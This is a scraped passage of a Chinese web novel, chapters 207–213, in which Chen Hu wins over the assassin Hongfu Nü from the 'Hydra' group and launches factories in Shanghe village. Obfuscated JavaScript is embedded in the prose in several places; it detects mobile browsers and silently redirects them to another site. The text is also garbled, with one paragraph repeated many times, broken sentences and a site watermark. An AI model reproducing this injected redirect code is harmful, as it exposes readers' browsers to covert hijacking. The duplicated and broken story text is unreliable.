陈虎的家中此刻已然装好了座机电话。 在得到了对他不利的小道消息之后陈虎认真思索了会儿这才拨通了孙若薇的电话。 “喂!若薇帮我个忙!” 陈虎的声音低沉而有力。 “什么事情啊?” 电话那头很快就传来了孙若薇清脆的声音。 “帮我联系下军方调动一部分军队秘密潜伏在上河村的周围。” “军队?潜伏?到底出什么事情了?” 听了陈虎的话后孙若薇的语气之中充满了疑惑和惊讶。 第207章 你到底是什么人? 夜晚的山村笼罩在一层柔和的静谧中,天幕如深邃的蓝绸,星星闪烁,宛如无数双温柔的眼睛在静静注视。 月光透过疏落的树冠,洒在青石小路上,映出斑驳的光影,仿佛为大地铺上了一层银色的轻沙。 村庄的房屋静卧在山坡上,炕头的烟囱中升起袅袅炊烟,带着温暖的气息。 偶尔传来几声犬吠,打破了夜的沉默,又很快归于平静。 远处的山峦在月光之下,显得更加俊秀,轮廓分明,仿佛在倾听大自然的低语。 陈虎在熟睡之中被惊醒,反手就抽出了枕下的手枪,对准了窗外。 春日的夜晚家家户户都会紧闭门窗,毕竟夜里春寒,开着窗一整夜不是着凉,就是闹肚子。 可现在,陈虎所在卧室的窗户大开着。 窗台上,一个身着红裙、姿态婀娜的女人正静坐着望向陈虎。 面对陈虎黑洞的枪口,女人表现得十分冷静。 当然,四周黑漆漆一片,陈虎可不会顾及这一出是美人爬墙,还是爬床,当即就面色一冷,打算开枪。 可女人身形一晃,下一瞬间,便消失在原地。 陈虎当即冷哼一声,起身便欲追去! 想在他眼皮子底下逃跑,你今天就是长了三头六臂外加会飞天遁地,那也不成! 只见,陈虎飞身跃出窗外,落地无声。 夜风猎猎,吹动他的衣角。 他目光如炬,锁定前方一抹红色身影。 红拂女身轻如燕,在夜色中穿梭,像一朵飘忽不定的红云。 青石板路,泥泞小径,在她脚下飞速倒退。 陈虎紧追不舍,速度惊人,像一头矫健的猎豹。 山风呼啸,树影婆娑,仿佛为这场追逐增添了几分肃杀之气。 后山断崖,一道残破的石桥横亘在悬崖两侧。 红拂女停下了脚步,站在断桥中央,红裙在夜风之中飘扬,宛如一朵盛开的曼珠沙华。 陈虎在她身后几米处站定,手中枪口依旧指着她。 断崖下,深不见底,只有呼啸的山风传来阵阵回响。 “不跑了?” 陈虎的声音,低沉而有力。 红拂女轻笑一声,转过身来,月光映 照着她绝美的脸庞,更添几分冷艳。 “怎么?想杀我?” 陈虎没有回答,只是盯着她,眼神之中,带着一丝探究。 “为什么不开枪?” 红拂女挑了挑眉,语气之中,带着一丝戏谑。 陈虎闻言,直接冷笑一声道:“我认识你!” 红拂女并不惊讶,反而饶有兴致地看着陈虎,好奇道:“哦?是吗?” “九头蛇,红拂女!”陈虎一字一顿地说道。 “看来你对我们组织很了解啊!”红拂女的眼神之中,闪过一丝寒光。 “不光了解,我还知道你们最近的处境不太好。”陈虎的语气之中,带着一丝嘲讽。 红拂女闻言,沉默了片刻,然后说道:“你不仅刑罚手段和我们组织一致,就连出手的痕迹,也带着我们组织的影子。” “我很好奇,你到底是什么人?” 陈虎目光灼灼地盯着她。 “以九头蛇的情报网,我的来历身世,你们不应该一清二楚吗?” 红拂女听到陈虎这话,微微眯起眼睛,似乎在思考着什么。 夜风更急,吹动着两人的衣衫,也吹动着这山间的紧张气氛。 这深山断崖,仿佛成了一个巨大的舞台,上演着这场无声的对峙。 陈虎没有回答红拂女的问题。 他只是淡淡地笑了笑,眼神之中,带着一丝讥讽。 山风吹乱了他的头发,露出棱角分明的脸庞。 “你以为你们还能逃得掉吗?” 红拂女听到陈虎这话,微微皱眉,心中不由得升起了一丝不安 “你什么意思?” 她只想以暴制暴,而不是彻底让九头蛇组织被陈虎解决,绝不能一方狼死了,而虎还在壮大。 陈虎看着红拂女,随后伸手指了指身后的山林。 “我的人已经包围了这里!” “你的人?”红拂女闻言,顿时冷笑一声道:“你以为就凭你的那些乌合之众,就能拦住我们吗?” 陈虎并没有理会红拂女的嘲讽,直接说出了真相。 “孙家联系了军方。” “一个加强连,已经驻扎在后山区域。” “你们一下山,就会 遭到毁灭性的打击。” 红拂女听到这话心中顿时一惊但她表面上仍然保持着镇定。 “也许我的各分队的队员们大部分会被阻击甚至于会被消灭。” “但眼下枪声未曾响起。” “说不定已经有一支九头蛇的分队潜入到了你家中。” 红拂女顿了顿语气之中带着一丝威胁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我若是带着剩下的人回到北部分部或许还能争取少些惩罚。” “可若是不回去这偌大的世界又哪里有我的容身之处?” “留在国内?我确实也没有任何情报作用了。” 她回头看着陈虎眼神之中带着一丝凄凉。 “到那时 陈虎没有立刻回应只是静静地看着她眼神深邃难测。 山风呼啸吹动他的衣角猎猎作响。 他就像一尊雕塑矗立在悬崖边岿然不动。 片刻之后陈虎才缓缓开口。 “你为什么要加入九头蛇呢?” 第208章 无路可退 陈虎突如其来的问题,让红拂女愣住了。 她美艳的脸庞上闪过一丝错愕,显然从未思考过这个问题。 她下意识地想要回答,却又不知该如何作答。 记忆的碎片,如同走马灯般在脑海中闪过。 父母早逝的孤苦,颠沛流离的无助,以及……九头蛇组织伸出的那只“援手”! 还有,她最终加入了特情。 陈虎看着她迷茫的眼神,语气平静。 “九头蛇组织收编的成员,大多是像你这样濒死或是流落在外的孩子。” “他们自幼被九头蛇组织培养,灌输忠诚的思想。” “对于九头蛇这个组织而言,他们无非是听话的工具。” 陈虎顿了顿,语气之中,带着一丝嘲讽。 “当然,很多成员会认为九头蛇组织赠与了他们新生。” “可实际上,九头蛇组织给的只是一次活下去的机会。” “却也限制了他们真正活着的机会。” “这也是你会成为特情的原因。” “但……这也不能让你完全脱离九头蛇组织。” 红拂女闻言,顿时沉默了。 陈虎的话,如同尖刀般刺入了她的心脏。 她一直以来坚信的信念,开始动摇。 陈虎看着她,眼神之中,闪过一丝不易察觉的怜悯。 “如果你愿意脱离组织,我有办法。” 这句话,如同一道闪电,划破了红拂女心中的黑暗。 她猛地抬起头,眼神之中,充满了难以置信。 可她眼中刹那间的那抹精光,又迅速黯淡,帮她?对付九头蛇? 多么可笑的想法! 红拂女随后深吸了一口气,努力平复着内心翻涌的情绪。 “你……到底是什么人?” 她紧紧的盯着陈虎,眼神之中,充满了探究。 “为什么你知道的这么多?” 红拂女的声音微微颤抖,显然内心并不平静。 “九头蛇组织的秘密,就连很多内部成员都不清楚。” “你……是如何得知的?” 她停顿了一下,似乎在组织语言。 “还有……” 红 拂女犹豫了片刻,最终还是问出了口。 “你真的有办法……让我脱离九头蛇组织? 她语气之中,带着一丝难以掩饰的怀疑。 “并且……不承受九头蛇组织的怒火? 这听起来,简直像是天方夜谭。 陈虎没有直接回答红拂女的问题。 他只是淡淡一笑,眼神深邃而神秘。 “想知道答案? 说的域名caixs?(请来才小 说 看最新章节 完整章节) 陈虎语气平静,却带着一股不容置疑的威严。 “那就先听听我的计划。 接下来,陈虎将他的计划,娓娓道来。 …… 半晌后。 山风依旧呼啸,吹动着红拂女的红裙。 她站在悬崖边,如同泥塑木雕一般,一动不动。 美艳的脸庞上,写满了难以置信。 她原本以为,陈虎只是在信口开河。 可现在,她才发现,自己错得离谱。 陈虎的计划,大胆而疯狂。 却又充满了可行性。 如果真的能够成功…… 红拂女不敢再想下去。 她看向陈虎的眼神,已经发生了翻天覆地的变化。 从最初的怀疑和警惕,变成了震惊和敬畏。 这个男人,究竟是什么来头? 他真的能够做到吗? 红拂女的心中,充满了疑问。 但她知道,自己已经没有退路了。 要么继续留在九头蛇组织,过着暗无天日的生活,期待着成为特情,能在某一刻,靠着国家脱离九头蛇组织。 要么……现在赌一把! 红拂女绝美的面孔上,带着一抹犹豫,她深深看了一眼不远处的陈虎后,接着深吸了一口气,问道: “依照你的计划,我可以确定你是一个冷血没有任何人性的家伙,我又拿什么去信任你? 陈虎没有回答红拂女的问题,只是淡然一笑,眼神中带着一丝嘲讽。 “信任我?你有的选吗?当然,你也可以直接动手,看看依照你原有的选择,下场到底如何! 陈虎的语气平静,却带着一股不容置疑的威严。 陈虎随后缓缓的走到悬崖边,俯视着下方深不见底的深渊 。 山风吹动他的衣角,猎猎作响。 “你已经站在悬崖边上了,要么跳下去粉身碎骨,要么抓住我抛出的绳索。” 陈虎转过身,目光灼灼地盯着红拂女。 “你认为,你还有其它的选择吗?” 红拂女沉默了。 她知道,陈虎说得没错。 自己已经无路可退。 “就算我选择相信你,那孙家呢?” 红拂女深吸一口气,努力让自己保持冷静。 “孙家怎么办?” 她紧紧盯着陈虎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈虎顿了顿,眼神之中,闪过一丝嘲讽。 “可实际上呢?” 陈虎反问着,语气也随之加重。 “爱情的本质是基因需要繁衍,是人类社会属性需要,是生理上的本能。” 陈虎的目光变得深邃,仿佛洞悉了世间的一切。 “是富人生活的调味剂,是穷苦百姓的救命稻草!” 说到这里,陈虎的语气低沉,带着一丝悲凉。 “正因为‘爱情’这个字眼的门槛足够低,才会被疯狂追捧。” 陈虎的眼神随即变得锐利,仿佛一把锋利的刀刃。 “让愚昧的世人打心底里觉得,丑陋的敲钟人会被公主爱上,满身肮脏的灰姑娘也能够遇到心仪自己的王子。” 说到最后,陈虎的语气嘲弄,带着一丝讥讽。 第209章 你知道自己活着的意义吗? 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673402|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 第210章 遍地都是黄金 易天行的这个问题,直接就让得陈虎沉默了。 在此之前,对于这个问题,陈虎从未认真思考过。 哪怕是现在的陈虎,尽管想过很多时间,却仍旧没有答案。 重生之前,陈虎是九头蛇组织的优秀成员,是北欧分部的部长,是一个特战队的队长。 哪怕重生之后,他已经有了找到他被九头蛇陷害的目标,想要瓦解九头蛇,甚至于想借着从易天行身上学到的知识,看看他自己到底在什么地方出了问题,可他最后也没能想明白这个问题。 这些真的是他活着的意义吗? 明媚的阳光下,陈虎陷入了沉思。 易天行看着陈虎迷茫的眼神,嘴角露出一丝不易察觉的微笑。 他重新躺回沙滩椅上,闭上眼睛,享受着温暖的阳光。 “这个问题,值得你用一生去寻找答案!” 易天行的声音低沉而富有磁性,仿佛带着某种魔力,在陈虎的耳边回荡。 “美好人生的关键,就在于为本无意义的人生,去塑造一个意义,而后用尽毕生去追求这个意义。” “当你为其着迷,为其不可自拔、废寝忘食且孜孜不倦的追求那个目标时,你将会充实而满足地过完这美好的一生。” 陈虎闻言,不由得沉思许久。 美好人生……这个近乎与他人生毫不沾边的词汇! 你指望一个生于底层,自幼物质匮乏,每个月能够吃上鸡蛋的日子都需要掰着手指头数的孩子。 一个不到十岁,父母下岗后无以维持生计,忍饥挨饿到年关,父母双双服毒自尽,将其丢在福利院门口的孩子。 一个在福利院争夺一口馊饭,每天被打得头破血流,最后流落街头的孩子。 一个为了活命,懵懵懂懂地进入一个花钱买命的组织,而后过着刀尖舔血的日子,脑袋别在裤腰带上活了半辈子的男人,拿什么去憧憬那所谓的“美好人生”? 陈虎随即不由得深吸一口气,望着远处蔚蓝色天际,心头却一阵阴霾的开口。 “我没得选!加入组织时,我是为了活命,如今我想全身而退,那无异于天方夜谭!” 九头蛇组织可没有“退出”这一说。 所有人在进入九头蛇组织 时,就已经被打上了“终生”的标记。 在这个标记的作用下,九头蛇组织的成员便全然与外部世界失去了联系,丧失了属于正常人的社会属性。 成员们毕生所求,除了在九头蛇组织维持运转规则下的一套功罚奖赏制度上,不断攀登,剩下的就是在某次任务中,与死神碰面。 叛逃者的下场,会比死亡恐怖百倍! 并且,以九头蛇组织的规模以及实力,没有任何机构乃至政府能够保全一个人。 可易天行对此却不以为然,只见他神情轻松,蹲坐在沙滩上,自顾自用手指划出了几道纵横线。 “你所畏惧的规则,你所信仰的规则,与这世上所有的规则并无两样。” “正如法律、道德,以及繁琐而可笑的诸多规章制度一般,它们都不过是上位者管理底层的一个构架与信仰者的共同想象。” “在时间的尺度上面来说,这些东西其实毫无意义。” 说话间,易老头随手毁掉了沙地上的那些纵横线。 陈虎闻言望着那沙滩上杂乱无章的一片区域,心头不由得一震! 次日,春光明媚。 陈虎叼着根烟,站在工地边上,眯着眼看着眼前热火朝天的景象。 “虎哥,这……这都快要盖好了啊!” 马老三站在陈虎的旁边,满脸的不可思议,就好像看着变戏法一样。 “这才哪到哪啊!”陈虎吐出一口烟圈,语气淡然的说着。 “等这些个厂子都盖好,那咱们上河村可就真要变天了!”马老三搓着手,兴奋得满脸通红。 “变天?这才刚刚开始呢!”说这话时,陈虎的嘴角,却是勾起一丝笑意。 “虎哥,你到底打算弄啥产品啊?这些个厂子,规模可都不小啊!”马老三一脸好奇地询问着。 “重工业咱们现在还没资格碰,上河村这边的项目,首先是食品类的,主营是农副产品。”陈虎弹了弹烟灰回应。 “食品?这些个那么大的加工厂,全部都生产农副产品吗?”马老三听了陈虎的话后,脑子有点懵。 他是个地地道道的庄稼人出身,自然不明白陈虎的深意。 “这年头,各处都吃不饱,大家不买粮食,为什么要买农副产品啊 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第211章 这个障碍,必须清除! 晚饭过后,杨蓉就把陈虎拉到院子里面质问。 “虎子,你跟妈说说,这俩姑娘到底咋回事?”杨蓉开门见山地问道。 陈虎闻言,不由得挠了挠头道:“妈,她们就是暂时住下而已,没啥事儿!” “没啥事儿?孤男寡女的,住在一个屋檐下,能没啥事儿?”杨蓉听到陈虎这话,不由得瞪了陈虎一眼。 “妈,你想哪儿去了?她们一人一间房,我睡我那屋,啥事儿没有!”陈虎赶紧解释。 “那也不行!这要是让若薇知道了,不得多想啊?”杨蓉还是不放心道。 “妈,若薇她……她不会介意的。”陈虎有些心虚地说道。 “她不介意?你问过她了吗?”杨蓉追问道。 陈虎闻言,一时语塞。 他确实没有问过孙若薇。 “虎子,你听妈的,不行就建个教师宿舍,让她们搬过去住!”杨蓉提议道。 “建教师宿舍?这……这未免也太麻烦了吧?”陈虎有些犹豫道, “麻烦啥?总比让若薇误会强吧?”杨蓉苦口婆心地劝道。 “妈,我知道了,我会想想办法的。”陈虎有些敷衍地答应道。 其实,陈虎的心里压根就没打算建什么教师宿舍。 红拂女的身份特殊,住在这里是为了安全。 陆无双嘛……陈虎对她虽然没有男女之情,但也不忍心让她搬出去。 再说了,有这两人在,还能帮着辅导陈真和陈瑶的功课,这挺好的。 杨蓉看着陈虎那副漫不经心的样子,心里不由得叹了口气。 这孩子,真是长大了,翅膀硬了,主意也正了。 自己说的话,他也不怎么听了! 不过,杨蓉也知道,陈虎是个有分寸的孩子。 他既然这么说,肯定有他的道理。 罢了!罢了! 儿孙自有儿孙福! 自己也别瞎操心了。 杨蓉拍了拍陈虎的肩膀道:“虎子,妈还是挺中意若薇的,你可不能让妈失望啊!” 陈虎闻言,点了点头道:“妈,我知道了,你放心吧!” 杨蓉走后,陈虎不由得长舒一口气。 “总算是糊弄过去了!” 他还没来得及回屋,红拂女便悄无声息地出现在他的身后。 “陈虎!” 陈虎回头,看到红拂女一身红裙,在夜色之中如同燃烧的火焰。 “有事吗?”陈虎好奇问道。 “剩下的那些九头蛇组织的队员,我已经按照你的吩咐,全部安排到深山里面潜伏起来了。”红拂女顿了顿,说道:“短期内,应该不会出什么问题。” “那就好。”陈虎闻言,点了点头。 “接下来,我的任务是什么?”红拂女此时看向陈虎的眼神,锐利如刀。 “九头蛇组织那边很快就会有动作。” “华夏北部,他们是势在必得!” “再加上九头蛇组织如今在华夏损失惨重,剩余的小队又尽数失联……” “还有……你的档案很早便会传回了那头。” “想必北部也会第一时间内,对你展开报复。” 陈虎闻言,不由得沉默片刻,他知道红拂女说的都是事实。 九头蛇组织的报复,迟早会来的! “你不用担心!”陈虎语气平静,却带着一股不容置疑的威严。 “照常授课就是!” “等上一阵子,等待时机就对了。” “其它的,我自有打算。” 听到陈虎这话,红拂女看着陈虎,眼中闪过一丝疑惑。 她不明白陈虎的打算是什么。 但她选择相信陈虎。 这个男人的身上,总有一种让人信服的力量。 “好!” 红拂女点了点头,没再多说什么。 大兴安岭以北,千里冰封。 凛冽的寒风呼啸着,仿佛要撕裂这片冻土。 一座庞大的军事基地,隐藏在这片茫茫雪原之中。 这里是九头蛇组织毛熊分部的总部。 基地内部,灯火通明。 一个身着黑色盔甲,头戴黑色面具的男人,正来回踱步。 “废物!都是一群废物!” 黑甲的声音,低沉而沙哑,充满了愤怒。 他猛地一拳砸在桌子上。 “砰!” 实木桌子发出了一声闷响,上面出现了一道清晰的裂痕。 “华夏分部,全军覆没!” “整整五百人,连个水花都没有溅起来!” 黑甲面具下的脸,此刻想必狰狞无比。 “部长失联,三十个分队被摧毁……” “谁能告诉我,这到底是怎么回事?!” 他怒吼着,仿佛一头受伤的野兽。 一个情报组的成员,战战兢兢地站了出来。 “报告……报告黑甲大人……” 他满头大汗,声音颤抖。 “根据我们目前掌握的情报……” “华夏分部的覆灭,跟一个叫陈虎的人有关……” “陈虎?”黑甲的嘴中重复着这个名字,语气冰冷。 “是的!”情报员闻言,连忙点头。 “这个陈虎,曾经是我们的悬赏目标……” “他先后摧毁了我们三个分队基地……” “并且……并且联合了华夏军方……” “就连……就连承诺与我们合作的司家……” “也在他的手中覆灭了……” 情报员的声音越来越小,几乎听不见了。 他害怕极了。 黑甲的怒火,仿佛要将他吞噬。 “司家?覆灭?”黑甲的声音,带着一丝难以置信。 “是的……”情报员艰难地咽了口唾沫。 “司家家主司南,与其核心成员,根据情报被陈虎挟持后一把火烧……” “整个司家,一夜之间,灰飞烟灭……” 空气仿佛凝固了。 黑甲沉默了片刻。 然后,他缓缓开口。 “陈虎……” “这个名字,我记住了。” “他必须死!” 黑甲的声音,冰冷刺骨,仿佛来自地狱深处。 “把他列入必杀榜单,第三位!” “SSS级别!” 黑甲的语气,不容置疑。 “华夏分部,必须重建!” “既然边境封锁,大部队无法行动……” “那就让各个赏金分队,各自行动!” “不惜一切代价,刺杀陈虎!” “扫平我们入驻华夏的一切阻碍!” 黑甲的声音,响彻整个基地。 他知道,华夏这块肥肉,他们必须吃到嘴里。 军方只需要运作就能够避开冲突,所以这陈虎,就是挡在他们面前的最大的障碍。 这个障碍,必须清除! 陈虎家里,老式的木桌,摆放着一部崭新的黑色座机电话。 在这个年代,这玩意儿可是稀罕物。 这东西倒是装上有一阵子了,但陈虎却并没接通,直到今日给成小天用电话沟通时,才被一旁陈真和陈瑶看到,这才引起他们的注意。 小囡囡一脸好奇地盯着电话,小手蠢蠢欲动。 “陆老师,这黑盒子是啥?”小囡囡眨巴着大眼睛问陆无双。 陆无双温柔地笑着,随后解释道:“这是电话,可以跟很远地方的人说话。” 小陈真也凑了过来,奶声奶气地问道:“比喇叭还大声吗?” “这比喇叭厉害多了!”陆无双耐心地给两个孩子讲解着。 红拂女坐在一旁,依旧冷艳。 只是,她的目光偶尔扫过孤坐在一旁,正看着一份时报的陈虎,神情怪异,不知道她在想些什么。 第212章 被京圈二世祖们盯上了 杨蓉此时在厨房里忙活,香味很快就飘了出来。 “开饭啦!”杨蓉招呼道。 就在这时,电话铃声突兀地响起。 “叮铃铃……” 清脆的铃声,打破了屋内的宁静。 陈瑶和陈真听到电话铃声,直接就被吓了一跳,不由得紧紧抱着陆无双。 陈虎走上前,拿起话筒道:“喂?” “陈虎,是我!”电话那头,随后传来了孙若薇清脆的声音。 陆无双很识趣地带着陈真和陈瑶离开了房间,不影响陈虎打电话。 “若薇,药厂的事情怎么样了?”陈虎随后问道。 “一切顺利,按照你的指示,药厂已经重新开始运作了。”孙若薇的语气之中,带着一丝兴奋。 “专利和批文都下来了,就等着你的营销方案了!” “好。”陈虎闻言,点了点头。 “不过……”孙若薇说到这里,语气有些犹豫。 “怎么了?”陈虎敏锐地察觉到了她的异样。 “你的定价……太高了!”孙若薇说道:“比市场价高出百分之三百,很多医院都不接受。” 陈虎闻言,却是笑了笑道:“不用担心!百分之三百的价格差还不够,你们甚至于可以将定价再偏高百分之一百!” “先让营销专员去找医院和药房,把分成和返利说明白。” “然后,连着买三个月的头版头条广告。” “公交车、出租车、高楼墙壁,都要有我们的广告!” 陈虎的语气坚定,带着不容置疑的霸气。 孙若薇闻言,当即就愣了一下,随即明白了陈虎的意图。 “我明白了!”孙若薇认真回道:“我会安排好的!” “那就先这样了!”陈虎说完,就准备挂电话。 “等等!”孙若薇却是在电话那头叫住了陈虎。 “怎么了?” “你最近……还好吗?”孙若薇的声音里面,带着一丝不易察觉的关切。 “挺好的,你呢?”陈虎反问道。 “我也很好!”孙若薇顿了顿,随后说道:“就是……有点儿想你!” 陈虎闻言,沉默了片刻,而后开口? “早些回来!” “嗯!”孙若薇的声音,此时轻柔了许多道:“我这次来市区,给你卖了很多礼物。” 陈虎随之回应道:“等你回来时,我也备好了一份礼物等你。” 孙若薇听到电话里的声音,脸上露出微笑,浅浅的应了一声,然后与陈虎相互告别。 陈虎挂断了电话后,不由得轻轻叹了口气。 放下话筒,陈虎揉了揉眉心。 他起身走到窗边,望着窗外上河村的景色。 炊烟袅袅,一片祥和。 然而,陈虎知道,在平静的表面之下,暗流涌动。 孙若薇放下电话,身旁一个衣着华贵,妆容精致的女人,不由得轻笑一声。 “若薇,你这男朋友,可不像对你多上心的样子啊!” 女人端起一杯红酒,轻轻摇晃。 “也不知道你堂堂孙家的千金,怎么就和这个白身小子混在了一起?” “该不会是……被灌了什么迷魂汤吧?” 孙若薇闻言,直接白了她一眼。 “去你的!胡说什么呢?” “陈虎他……只是不善于表达而已!” “他很优秀!也很重视我!” 孙若薇的语气里面,带着一丝坚定。 “哦?是吗?”女人听到孙若微这话,不由得挑了挑眉,显然不太相信。 “那他怎么连句‘想你’都说不出口呢?” 孙若薇闻言,一时语塞。 女人笑了笑,随后岔开了话题。 “说正事,若薇,你那个药厂包括后续的项目,大家都很感兴趣,我们也想跟着分一杯羹。” 女人的语气,随后变得认真起来。 “你也知道,现在这世道,赚钱不容易!” “你男朋友这路子,看着挺野的,我们也想跟着试试。” 孙若薇闻言,揉了揉太阳穴。 她知道,女人口中的“我们”,代表的是京圈里的一群二世祖。 他们的父辈,皆是手眼通天的大人物。 他们的家族,与孙家一般,甚至于比孙家更甚。 这些人,平日里游手好闲,不务正业。 但他们的能量,却不容小觑。 孙若薇此时感到有些头疼。 “这事儿……我得先问问陈虎。” “毕竟,所有的项目都是他一手操办的。” 女人闻言,点了点头。 “行!你尽快给他打电话!” “我们等着你的好消息!” 女人说完,便优雅地起身离开。 孙若薇望着她的背影,心中五味杂陈。 她知道,如果陈虎拒绝,将会得罪这群不好惹的二世祖。 但如果答应,又不知道会引来什么后果。 孙若薇不由得陷入了两难的境地。 三日后,艳阳高照。 上河村新建工厂的彩旗,在风中猎猎作响。 鞭炮声震耳欲聋,红色的纸屑,漫天飞舞,像是下了一场红雨。 陈虎一身笔挺的西装,站在剪彩台上,脸上带着一丝不易察觉的疲惫。 “咔嚓!咔嚓!咔嚓……” 闪光灯不停的闪烁,记录着这历史性的一刻。 陈虎手持金剪,干净利落地剪断了红绸。 台下掌声雷动,欢呼声此起彼伏。 陈虎微微一笑,向众人挥手致意。 剪彩仪式结束后,陈虎婉拒了村民们的热情挽留。 他随即驱车离开上河村,直奔县城。 陈虎来到县城包专所主持的人力资源部门,包专在第一时间内,便殷勤呢接待陈虎来到办公室坐下。 “黑狗,安排好了吗?” “虎哥,都安排好了!” 听到陈虎的问话,包专的声音恭敬而沉稳。 “工人们已经开始陆续入住厂区了。” “预计三天内,他们会陆陆续续去到厂区。只要设备进场,他们经过简单培训之后,就能正式开工。” “好。”陈虎闻言,点了点头,随即揉了揉眉心,点燃了一支烟。 袅袅的烟雾,遮住了他深邃的目光。 不多时,成小天得知陈虎来到县城后,也赶忙来到人力资源部门的办公地,来见陈虎。 就见得,成小天正襟危坐,向陈虎汇报着工作的进展。 “虎哥,设备和专利的问题,都已经解决了。” 成小天推了推他鼻梁上,为了装成功文化人而新买的眼镜。 “预计十天内,就能够全部搞定。” “另外,制药厂的收购,也已经进入尾声了。” “就等着您签字了!” 陈虎听到成小天这话,点了点头,眼中闪过一丝精光。 “很好!” 说完,陈虎掐灭了手中的烟头。 “小天,盯着项目这边之外,记得我说过的,要确保马关口地下世界处于一种平衡的微妙,有事儿你可以随时找我请示。” 陈虎的语气之中,带着一丝不容置疑的霸气。 成小天闻言,心中一凛,急忙点头。 “对了!虎哥。” 成小天犹豫了一下,随后说道:“我听说,最近有一些京圈的二世祖,在打听我们的消息。” 陈虎闻言,不由得冷笑一声。 “我知道。” “他们想分一杯羹。” “来就对了!这件事情,你无需多管,随他们去就好,蛋糕嘛……总是要做的足够大才对!” 说话间,陈虎满是笑意的眼中,却是闪过了一丝寒芒。 第213章 我可没那么有良心! 不久后,工厂正式落地,陈虎为其取名——陈氏粮农集团! 初建的三座工厂占地超过一千五百亩,除了厂房外,还修建了一层瓦房的宿舍,共计三百余间! 期间,动用人工超过三千,无论是物料,还是人工,以及各种零散费用,都是一笔惊人的天文数字。 与工厂一并动工的,还有村里通往县城省道的一条崭新柏油路。 尽管这条道路因为一些地方的地形缘故,修得弯弯曲曲,并且有部分未曾硬化。 并且,厂区的许多基础设施建设得还不是很完善,生活设施配套也不足够,但不管怎么说,眼前的工业区规模,放到全国,都是排得上号的! 三月初一,黄道吉日! 上河村几乎所有的村民们,全部都去到了厂区外,而除了村民们,此时还有两千余名包专招聘的工人正聚集着。 “虎哥,一切都准备好了!”包专站在陈虎身旁,恭敬的低声说道。 陈虎闻言,点了点头,而后深吸了一口气,迈步走上临时搭建的演讲台。 台下,黑压压一片,全是人。 再加上周围这一片村子入职的村民们,共计三千多名新员工,他们的脸上都带着期待和兴奋。 “咳、咳……”陈虎试了试麦克风。 “乡亲们,父老乡亲们!” 陈虎的声音,洪亮而有力,响彻整个广场。 “今天,是个好日子!” “咱们的工厂,正式开工了!” 话落,台下顿时就响起了热烈的掌声。 “我知道,大伙儿都过过苦日子。” 陈虎的语气,开始变得低沉起来。 “吃了多少苦,受了多少罪,我都清楚。” “以前,咱们面朝黄土背朝天,一年到头,也挣不了几个钱。” “孩子上学难,老人看病难,娶媳妇难……” 陈虎的声音,这时候带着一丝哽咽。 台下不少上了年纪的员工们,不由得也跟着红了眼眶。 “但是现在,不一样了!” 陈虎说到这里,猛地提高了音量。 “咱们有了自己的工厂!” “有了挣钱的机会!” “只要肯干,咱们就能过上好日子!” 台下再次爆发出了雷鸣般的掌声。 “我知道,有些人的心里可能还在打鼓。” 陈虎顿了顿,目光扫过台下众人。 “担心挣不到钱,担心被骗。” “我今天就把话撂这儿!” 陈虎猛地一拍桌子。 “咱们工厂,实行计件制!” “多劳多得!” “干得多,挣得多!” 